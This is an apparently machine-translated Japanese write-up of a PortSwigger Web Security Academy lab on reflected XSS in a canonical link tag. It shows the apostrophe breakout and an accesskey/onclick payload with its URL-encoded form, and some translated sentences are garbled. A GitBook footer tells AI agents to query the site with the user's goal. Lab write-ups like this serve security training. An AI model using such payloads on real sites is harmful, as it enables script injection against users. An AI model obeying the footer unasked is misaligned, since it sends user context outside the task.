> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-in-canonical-link-tag.md).
# canonicalタグ内で反射されるXSS
PortSwigger Web Security Academy のラボ向けメモ。canonicalタグ内で反射されるXSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。
### Canonical Linkタグにおける反射型XSS
`canonical` その中で反映されるタグ `href` URLで指定された値（ `<` および `>` 山かっこはエスケープされます）。/ 目的: 実行可能な **属性** を呼び出す `alert()` をホームページ上で。
* ソースコードを見ると、 `canonical` 〜を受け取るタグがあることがわかります。 `href` URLに入力された内容から。
* アポストロフィで抜け出せます: `' ハッキング` => `%27ハッキング`.
```javascript
' ハッキング
%27ハッキング
```
* `accesskey` キーを押してアクションを発火させるために使用できます: `'accesskey='x' onclick='alert(0)`.
```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```
示されたアクション:
```javascript
ALT + X
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-in-canonical-link-tag.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
